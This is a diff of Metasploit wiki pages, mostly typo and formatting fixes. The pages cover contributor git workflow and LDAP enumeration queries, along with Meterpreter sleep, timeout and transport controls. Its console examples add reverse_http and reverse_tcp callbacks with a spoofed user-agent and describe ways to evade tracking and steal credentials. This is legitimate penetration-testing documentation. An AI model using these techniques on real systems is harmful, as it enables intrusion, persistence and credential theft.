@@ -105,7 +105,7 @@ You can `git fetch` a remote any time, and you'll get access to the latest chang
A manageable strategy for dealing with outstanding PRs is to start pre-merge testing on the pull request in isolation. For example, to work on PR #1217, we would:
````
```
$ git checkout upstream/pr/1217
Note: checking out 'upstream/pr/1217'.
@@ -124,7 +124,7 @@ HEAD is now at 9e499e5... Make BindTCP test more robust
```
$ git checkout -b landing-1217
````
```
Now, we're on a local branch identical to the original pull request, and can move on from there. We can make our changes, isolated from master, and then either send them back to the contributor (this requires looking up the original contributor's GitHub username and branch name on GitHub), or if there aren't any changes or the changes are trivial, we can land them (if you have committer rights to Rapid7's repo, this is where you land them to the upstream repo).
@@ -173,7 +173,7 @@ You need to add their fork once as a remote: `git remote add OTHER_USER git://gi
This sequence does a few things after editing `.gitconfig`. It creates another copy of landing-1217 (which is itself a copy of upstream/pr/1217)). Next, I push those changes to my branch (todb-r7, aka "origin"). Finally, I have a mighty [.gitconfig alias here](https://gist.github.com/todb-r7/5438391) to open a browser window to send a pull request to the original contributor's branch (you will want to edit yours to reflect your real GitHub username, of course).
I opened that in a browser, and ended up with https://github.com/schierlm/metasploit-framework/pull/1 . Once @schierlm landed it on his branch (again, using `git merge --no-ff` and a short, informational merge commit message), all I (or anyone) had to do was `git fetch` to get the change reflected in upstream/pr/1217, and then the integration of the PR could continue.
I opened that in a browser, and ended up with https://github.com/schierlm/metasploit-framework/pull/1 . Once [@schierlm](https://github.com/schierlm) landed it on his branch (again, using `git merge --no-ff` and a short, informational merge commit message), all I (or anyone) had to do was `git fetch` to get the change reflected in upstream/pr/1217, and then the integration of the PR could continue.
# Collaboration between contributors
@@ -206,9 +206,9 @@ Note the important bit here: **you do not need commit rights to Rapid7 to branch
# Landing to upstream
Back to PR #1217. Turns out, my change was enough to land the original chunk of work. So, someone else (@jlee-r7) was able to to do something like this:
Back to PR #1217. Turns out, my change was enough to land the original chunk of work. So, someone else ([@jlee-r7](https://github.com/jlee-r7)) was able to to do something like this:
Or, if he already have upstream-master checked out:
````
```
$ git checkout upstream-master
$ git rebase upstream/master
$ git merge -S --no-ff --edit landing-1217
$ git push upstream upstream-master:master
````
```
The `--edit` is optional if we have our editor configured correctly in `$HOME/.gitconfig`. The point here is that we *always* want a merge commit, and we *never* want to use the (often useless) default merge commit message. For #1217, this was changed to:
````commit
```
Land #1217, java payload build system refactor
````
```
Note that you should rebase *before* landing -- otherwise, your merge commit will be lost in the rebase.
@@ -248,7 +248,7 @@ Finally, the -S indicates we are going to sign the merge, using our GPG key. Thi
To set yourself up for signing, your .gitconfig (or metasploit-framework/git/.config) file should have these entries:
````
```ini
[user]
name = Your Name
email = your@email.xxx
@@ -256,7 +256,7 @@ signingkey = DEADBEEF # Must match exactly with your key for "Your Name <your@em
[alias]
c = commit -S --edit
m = merge -S --no-ff --edit
````
```
People with commit rights to rapid7/metasploit-framework will have their [[keys listed here|./Committer-Keys.md]].
@@ -271,10 +271,6 @@ Release note examples:
The [rn-no-release-notes](https://github.com/rapid7/metasploit-framework/issues?utf8=%E2%9C%93&q=label%3Arn-no-release-notes+) label must be added if there are no release notes for the merged pull request.
# Cross-linking PRs, Bugs, and Commits
TODO: Update in this new post-Redmine, GitHub issues world
# Merge conflicts
The nice thing about this strategy is that you can test for merge conflicts straight away. You'd use a sequence like:
@@ -291,4 +287,4 @@ If that works, great, you know you don't have any merge conflicts right now.
# Questions and Corrections
Reach out in #contributors on [Metasploit Slack](https://metasploit.com/slack), or by e-mailing msfdev at metasploit dot com.
Reach out in #contributors on [Metasploit Slack](https://metasploit.com/slack), or by e-mailing msfdev at metasploit dot com.
@@ -16,17 +16,17 @@ If listeners are externalized, then there is an API layer both for interactive i
### Integration of native tool-chains
Tools like Veil, pwnlib, etc. have for a long time used native compilers and tooling to build payloads and evasions. Metasploit has opted mostly for native Ruby solutions, though it does have some implicit runtime dependencies like `apktool` for Android payload injection. However, these tools are getting harder to maintain and use (e.g. metasm has a diffcult time building any non-trivial C code, we just spent a month fixing a bug it had with Ruby 2.5 and Windows). It would be nice to have either be able to depend on a set of first-class toolchains being available in the environment, or have some way to package them natively with Metasploit itself. A full suite of compilers and tools does consume considerable amounts of space (e.g. mettle's toolchain is 1.8GB uncompressed), but this is probably less of a problem than it was 15 years ago.
Tools like Veil, pwnlib, etc. have for a long time used native compilers and tooling to build payloads and evasions. Metasploit has opted mostly for native Ruby solutions, though it does have some implicit runtime dependencies like `apktool` for Android payload injection. However, these tools are getting harder to maintain and use (e.g. metasm has a difficult time building any non-trivial C code, we just spent a month fixing a bug it had with Ruby 2.5 and Windows). It would be nice to have either be able to depend on a set of first-class toolchains being available in the environment, or have some way to package them natively with Metasploit itself. A full suite of compilers and tools does consume considerable amounts of space (e.g. mettle's toolchain is 1.8GB uncompressed), but this is probably less of a problem than it was 15 years ago.
Make a new async payload type (based on pingback payload work) making secure comms, endpoint verification, and async communication first-class citizens, and on by default. These session types would support a much more limited set of actions than Meterpreter, only supporting sleep/upload/download/stage, but would be upgraded to Meterpreter directly as-needed (maybe even transparently). Network protocols can be much more exotic for this, and the listener/payload should be usable externally from Metasploit as well. Todo: pull in async payload proposal notes from @bwatters-r7.
Make a new async payload type (based on pingback payload work) making secure comms, endpoint verification, and async communication first-class citizens, and on by default. These session types would support a much more limited set of actions than Meterpreter, only supporting sleep/upload/download/stage, but would be upgraded to Meterpreter directly as-needed (maybe even transparently). Network protocols can be much more exotic for this, and the listener/payload should be usable externally from Metasploit as well. Todo: pull in async payload proposal notes from [@bwatters-r7](https://github.com/bwatters-r7).
## Module Interface
### Overhaul network targeting
Setting at least 5 variables RHOSTS/RPORT/SSL/VHOST/SSL_Version/User/Pass/etc... to target a single web application is very cumbersome. When these variables also do not apply to multiple RHOSTS exactly, the scheme of multiple variables falls apart futher. Metasploit should be able to target URLs directly, that can all have their own independent ports, users, hostnames, etc:
Setting at least 5 variables RHOSTS/RPORT/SSL/VHOST/SSL_Version/User/Pass/etc... to target a single web application is very cumbersome. When these variables also do not apply to multiple RHOSTS exactly, the scheme of multiple variables falls apart further. Metasploit should be able to target URLs directly, that can all have their own independent ports, users, hostnames, etc:
```
set TARGETS https://user:password@target_app:4343 https://target_app2
@@ -73,7 +73,7 @@ This module has a selection of inbuilt queries which can be configured via the `
- `ENUM_ALL_OBJECT_CATEGORY` - Dump all objects containing any objectCategory field.
- `ENUM_ALL_OBJECT_CLASS` - Dump all objects containing any objectClass field.
- `ENUM_COMPUTERS` - Dump all objects containing an objectCategory or objectClass of Computer.
- `ENUM_CONSTRAINED_DELEGATION` - Dump info about all known objects that allow contrained delegation.
- `ENUM_CONSTRAINED_DELEGATION` - Dump info about all known objects that allow constrained delegation.
- `ENUM_DNS_RECORDS` - Dump info about DNS records the server knows about using the dnsNode object class.
- `ENUM_DNS_ZONES` - Dump info about DNS zones the server knows about using the dnsZone object class under the DC DomainDnsZones. This isneeded - as without this BASEDN prefix we often miss certain entries.
- `ENUM_DOMAIN` - Dump info about the Active Directory domain.
@@ -89,7 +89,7 @@ This module has a selection of inbuilt queries which can be configured via the `
- `ENUM_MACHINE_ACCOUNT_QUOTA` - Dump the number of computer accounts a user is allowed to create in a domain.
- `ENUM_ORGROLES` - Dump info about all known organization roles in the LDAP environment.
- `ENUM_ORGUNITS` - Dump info about all known organizational units in the LDAP environment.
- `ENUM_UNCONSTRAINED_DELEGATION` - Dump info about all known objects that allow uncontrained delegation.
- `ENUM_UNCONSTRAINED_DELEGATION` - Dump info about all known objects that allow unconstrained delegation.
- `ENUM_USER_ACCOUNT_DISABLED` - Dump info about disabled user accounts.
- `ENUM_USER_ACCOUNT_LOCKED_OUT` - Dump info about locked out user accounts.
- `ENUM_USER_ASREP_ROASTABLE` - Dump info about all users who are configured not to require kerberos pre-authentication and are therefore AS-REP roastable.
There are two ways to launch a Post module, both require an existing session.
Within a msf prompt you can use the `use` comand followed by the `run` command to execute the module against the required session. For instance to extract credentials from Chrome on the most recently opened Metasploit session:
Within a msf prompt you can use the `use` command followed by the `run` command to execute the module against the required session. For instance to extract credentials from Chrome on the most recently opened Metasploit session:
@@ -4,7 +4,7 @@ SMB (Server Message Blocks), is a way for sharing files across nodes on a networ
There are two main ports for SMB:
- 139/TCP - Initially Microsoft implemented SMB ontop of their existing NetBIOS network architecture, which allowed for Windows computers to communicate across the same network
- 139/TCP - Initially Microsoft implemented SMB ontop of their existing NetBIOS network architecture, which allowed for Windows computers to communicate across the same network
- 445/TCP - Newer versions of SMB use this port, were NetBIOS is not used.
The Loginpalooza contest is over! Congrats and thanks to @TomSellers, @ChrisTuncer, and @0a2940!
The Loginpalooza contest is over! Congrats and thanks to [@TomSellers](https://github.com/TomSellers), [@ChrisTruncer](https://github.com/ChrisTruncer), and [@0a2940](https://github.com/0a2940)!
The list of [modules to refactor](#modules-to-refactor) is still here. Modules that get refactored should be removed from the list entirely.
@@ -115,4 +115,4 @@ If you'd like to learn how to convert your favorite existing module, or write a
[post/windows/gather/enum_logged_on_users.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/gather/enum_logged_on_users.rb) - Creates publics but not privates
[post/windows/gather/enum_logged_on_users.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/gather/enum_logged_on_users.rb) - Creates publics but not privates
@@ -32,7 +32,7 @@ Each value also has an associated type, for example:
All of these examples assume you are in a Meterpreter session. To see the latest help information run `help reg`:
```
```msf
meterpreter > help reg
Usage: reg [command] [options]
Interact with the target machine's registry.
@@ -44,7 +44,7 @@ Interact with the target machine's registry.
Registry keys must be escaped correctly. Window's registry keys are escaped with backslashes. In msfconsole backslashes and spaces have a special meaning - which means you will need to escape these characters for your key to work as expected.
```
```msf
# Valid: Using single quotes around the registry key
If this is problematic either [[upgrade your session to Meterpreter|./Metasploit-Guide-Upgrading-Shells-to-Meterpreter.md]], or specify the `-w` flag which will impact the result of queries:
@@ -2,7 +2,7 @@ Of the many recent changes to Meterpreter, reliable network communication is one
In the case of HTTP/S transports, some resiliency features were present. Thanks to its stateless nature, HTTP/S transports would continue to attempt to talk to Metasploit after network outages or other unexpected problems as each command request/response is transmitted over a fresh connection. TCP based transports had nothing that would attempt to reconnect should some kind of network issue occur.
Revamped [[transport|./Meterpreter-Transport-Control.md]] implementations have provided support for resiliency even for TCP based communcations. Any session that isn't properly terminated by Metasploit will continue to function behind the scenes while Meterpreter attempts to re-establish communications with Metasploit.
Revamped [[transport|./Meterpreter-Transport-Control.md]] implementations have provided support for resiliency even for TCP based communications. Any session that isn't properly terminated by Metasploit will continue to function behind the scenes while Meterpreter attempts to re-establish communications with Metasploit.
It is also possible to control the behaviour of this functionality a little via the use of the various timeout values that can be specified when adding transports to the session, and also on the fly for the current transport. For full details, please see the [[timeout documentation|./Meterpreter-Timeout-Control.md]] for details on those timeout values.
@@ -16,7 +16,7 @@ During this dormant period, no socket is active, no requests are made, and no re
The interface to the sleep command looks like this:
```
```msf
meterpreter > sleep
Usage: sleep <time>
@@ -27,11 +27,11 @@ Usage: sleep <time>
shut down and restarted after the designated timeout.
```
As shown, `sleep` expects to be given a single postive integer value that represents the number of seconds that Meterpreter should be silent for. When run, the session will close, and then callback after the elapsed period of time. Given that Meterpreter lives in memory, this lack of communication will make it extremely difficult to track.
As shown, `sleep` expects to be given a single positive integer value that represents the number of seconds that Meterpreter should be silent for. When run, the session will close, and then callback after the elapsed period of time. Given that Meterpreter lives in memory, this lack of communication will make it extremely difficult to track.
The following shows a sample run where Meterpreter is put to sleep for 20 seconds, after which the session reconnects while the handler is still in background:
```
```msf
meterpreter > sleep 20
[*] Telling the target instance to sleep for 20 seconds ...
[+] Target instance has gone to sleep, terminating current session.
@@ -57,7 +57,7 @@ The data or time cost of uploading `metsrv`, `stdapi` and `priv` for every singl
It's hard to believe it possible, but in this case the following image could be considered a nightmare.
```
```msf
[*] Sending stage (173056 bytes) to xxx.xxx.xxx.xxx
[*] Meterpreter session 4684 opened ....
[*] Sending stage (173056 bytes) to xxx.xxx.xxx.xxx
@@ -95,7 +95,7 @@ With this shellcode stub wired into the DOS header, Metasploit adds the entire b
1. Loads the extension DLL into memory.
1. Calculates the size of the DLL.
1. Writes the size of the DLL as a 32-bit value to the configuration block.
1. Writes the entire body of the DLL, as-is, to the end of the conifiguration block.
1. Writes the entire body of the DLL, as-is, to the end of the configuration block.
Once the end of the list of extensions is reached, the last thing that is written to the payload buffer is a 32-bit representation of `0` (`NULL`) which indicates that the list of extensions has been terminated. This `NULL` value is what `metsrv` will look for when iterating through the list of extensions so that it knows when to stop. After this, any extension initialisation scripts are wired in (though that's beyond the scope of this article).
@@ -150,4 +150,4 @@ Congratulations, you're dancing with stageless Meterpreter!
At this point, all of the pre-loaded extensions have been loaded into Meterpreter and are available for use. However, Metasploit is yet to know about them. To initiate client-site wiring of any of the pre-loaded extensions, the user can just type `use <extension>` just like they used to. Metasploit will check to see if the extension already exists in the target instance, and if it does, it will skip the extension upload and just wire-up the functions on the client side. If the extension is missing, then it will upload it and wire-up the functions on the fly just like it always has done.
If you're working with `meterpreter_reverse_https`, you'll notice that when new shells come in they appear just like an orphaned instance. This is expected behaviour, because a stageless session can't and won't look any different to an old session that hasn't been in touch with Metasploit for a while.
If you're working with `meterpreter_reverse_https`, you'll notice that when new shells come in they appear just like an orphaned instance. This is expected behaviour, because a stageless session can't and won't look any different to an old session that hasn't been in touch with Metasploit for a while.
@@ -28,13 +28,13 @@ In the case of `HTTP/S` payloads it's slightly different because the protocols a
With `TCP` transports, communication "times out" when the time between the last packet and the current socket poll is greater than the communications timeout value. This happens when there are network related issues that prevent data from being transmitted between the two endpoints, but doesn't cause the socket to completely disconnect. With `HTTP/S` transports, the communication "times out" for the same reason, but the evaluation of the condition is slightly different in that failure can occur because there is either no response at all from the remote server, or the response to a `GET` request results in no acknowledgement.
By default, this value is set to `300` seconds (`5` minutes), but can be overidden by the user via the `SessionCommunicationTimeout` setting.
By default, this value is set to `300` seconds (`5` minutes), but can be overridden by the user via the `SessionCommunicationTimeout` setting.
If connectivity fails, or the communication is deemed to have timed out. Then the current transport is destroyed, and the next transport in the list of transports is invoked. From there, Meterpreter will use the Retry Total and Retry Wait values while attempting to re-establish a session with Metasploit.
#### Retry Total and Retry Wait
After a transport initialises inside Meterpreter, Meterpreter uses this transport to attempt to establish a new session with Metasploit. In some cases, Metasploit might not be availalble due to reasons like bad network connectivity, or a lack of configured listeners. If Meterpreter can't connect to Metasploit, it will attempt to retry for a period of time. Once that period of time expires, Meterpreter will deem this transport "dead" and will move to the next one in the transport list.
After a transport initialises inside Meterpreter, Meterpreter uses this transport to attempt to establish a new session with Metasploit. In some cases, Metasploit might not be available due to reasons like bad network connectivity, or a lack of configured listeners. If Meterpreter can't connect to Metasploit, it will attempt to retry for a period of time. Once that period of time expires, Meterpreter will deem this transport "dead" and will move to the next one in the transport list.
The total amount of time that Meterpreter will attempt to connect back to Metasploit on the given transport is indicated by the `retry total` value. That is, `retry total` is the total amount of time that Meterpreter will retry communication on the transport. The default value is `3600` seconds (`1` hour), and can be overridden via the `SessionRetryTotal` setting.
@@ -44,7 +44,7 @@ While the current time is within the `retry total` time, Meterpreter will consta
Meterpreter supports the querying and updating of each of these timeouts via the console. In order to get the current timeout settings, users can invoke the `get_timeouts` command, which returns all four of the current timeout settings (one for the global session, and three for the transport-specific settings). An example of which is shown below:
```
```msf
meterpreter > get_timeouts
Session Expiry : @ 2015-06-09 19:56:05
Comm Timeout : 100000 seconds
@@ -56,7 +56,7 @@ The `Session Expiry` value is rendered as an absolute local time so that the use
In order to update these values, users can invoke the `set_timeouts` command. Invoking it without parameters shows the help:
```
```msf
meterpreter > set_timeouts
Usage: set_timeouts [options]
@@ -69,7 +69,7 @@ OPTIONS:
-h Help menu
-t <opt> Retry total time (seconds)
-w <opt> Retry wait time (seconds)
-x <opt> Expiration timout (seconds)
-x <opt> Expiration timeout (seconds)
```
As the help implies, each of these settings takes a value that indicates the number of seconds. Each of the options of this command are optional, so the user can update only those values that they are interested in updating. When the command is invoked, Meterpreter is updated, and the result shows the updated values once the changes have been made.
@@ -77,7 +77,7 @@ In the case of the `-x` parameter, the value that is to be passed in should repr
The following example updates the session expiration timeout to be `2` minutes from "now", and changes the retry wait time to `3` seconds:
```
```msf
meterpreter > set_timeouts -x 120 -t 3
Session Expiry : @ 2015-06-02 22:45:13
Comm Timeout : 100000 seconds
@@ -86,7 +86,7 @@ Retry Wait Time : 2500 seconds
```
This command can be invoked any number of times while the session is valid, but as soon as the session has expired, Metepreter will shut down and it's game over:
```
```msf
meterpreter >
[*] 10.1.10.35 - Meterpreter session 2 closed. Reason: Died
@@ -26,7 +26,7 @@ Meterpreter has a new base command called `transport`. This is the hub of all tr
The following output shows the current help text for the `transport` command:
```bash
```msf
meterpreter > transport
Usage: transport <list|change|add|next|prev|remove> [options]
@@ -48,7 +48,7 @@ OPTIONS:
-T <opt> Retry total time (seconds) (default: same as current session)
-U <opt> Proxy username for HTTP/S transports (optional)
-W <opt> Retry wait time (seconds) (default: same as current session)
-X <opt> Expiration timout (seconds) (default: same as current session)
-X <opt> Expiration timeout (seconds) (default: same as current session)
-c <opt> SSL certificate path for https transport verification (optional)
-h Help menu
-i <opt> Specify transport by index (currently supported: remove)
@@ -65,7 +65,7 @@ OPTIONS:
The simplest of all the sub-commands in the `transport` set is `list`. This command shows the full list of currently enabled transport, and an indicator of which one is the "current" transport. The following shows the non-verbose output with just the default transport running:
```bash
```msf
meterpreter > transport list
Session Expiry : @ 2015-06-09 19:56:05
@@ -82,7 +82,7 @@ The above output shows that we have one transport enabled that is using `TCP`. W
The verbose version of this command shows more detail about the transport, but only in cases where extra detail is available (such as `reverse_http/s`). The following command shows the output of the `list` sub-command with the verbose flag (`-v`) after an `HTTP` transport has been added:
```bash
```msf
meterpreter > transport list -v
Session Expiry : @ 2015-06-09 19:56:05
@@ -98,7 +98,7 @@ Adding transports gives Meterpreter the ability to work on different transport m
The following command shows a simple example that adds a `reverse_http` transport to an existing Meterpreter session. It specifies a custom communications timeout, retry total and retry wait, and also specifies a custom user-agent string to be used for the HTTP requests:
```bash
```msf
meterpreter > transport add -t reverse_http -l 10.1.10.40 -p 5105 -T 50000 -W 2500 -C 100000 -A "Totes-Legit Browser/1.1"
[*] Adding new transport ...
[+] Successfully added reverse_http transport.
@@ -127,7 +127,7 @@ It is also possible to specify the following:
The following shows another example which adds another `reverse_tcp` transport to the transport list:
```bash
```msf
meterpreter > transport add -t reverse_tcp -l 10.1.10.40 -p 5005
[*] Adding new transport ...
[+] Successfully added reverse_tcp transport.
@@ -155,7 +155,7 @@ The three different ways to change transports are:
As an example, here is the current transport setup:
From here, moving backward sends Meterpreter back to the `reverse_http` listener:
```bash
```msf
meterpreter > transport prev
[*] Changing to previous transport ...
@@ -252,7 +252,7 @@ The command is similar to `add` in that it takes a subset of the parameters, and
* `-p` - The `LPORT` value.
* `-u` - This value is only required for `reverse_http/s` transports and needs to contain the URI of the transport in question. This is important because there might be multiple listeners on the same IP and port, so the URI is what differentiates each of the sessions.
```bash
```msf
[*] Starting interaction with 2...
meterpreter > transport list
@@ -282,7 +282,7 @@ Previously, Meterpreter only had built-in resiliency in the `HTTP/S` payloads an
The following shows Metasploit being closed and leaving the existing `TCP` session running behind the scenes:
```bash
```msf
meterpreter > transport list
Session Expiry : @ 2015-06-09 19:56:05
@@ -301,7 +301,7 @@ With Metasploit closed, the Meterpreter session has detected that the transport
The following output shows Metasploit being re-launched with the appropriate listeners, and the existing Meterpreter instance establishing a session automatically:
@@ -63,7 +63,7 @@ Related open tickets (slightly broader than Meterpreter):
* PrependTokenSteal / PrependEnvironmentSteal: Basically with proxies and other perimeter defenses being SYSTEM doesn't work well. This would be an addition to a payload that would work to execute as SYSTEM but would then locate a logged in user and steal their environment to call back to the handler. Very useful when pivoting around with PSEXEC
* Binary installed death dates: A way putting a date in a binary where after that date the binary no longer functions would be useful and possibly even perform self-deletion. Time zones would be a tricky matter, but is something handled by many programmers already (probably just not in shellcode)
* Allow Meterpreter sesssions to resolve L3 addresses (#4793)
* Allow Meterpreter sessions to resolve L3 addresses (#4793)
* Track whether or not the current session has admin credentials (#4633)d
* Support Metasploit-side zlib compression of sessions
* Being able to use Meterpreter instances to easily forward commands & exfil
@@ -49,7 +49,7 @@ If you go to `metasploit-framework/documentation/modules`, you'll see that there
For example:
```
```msf
msf> use auxiliary/scanner/smb/smb_login
msf (smb_login)> info
Some files were not shown because too many files have changed in this diff
Show More
Reference in New Issue
Block a user
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.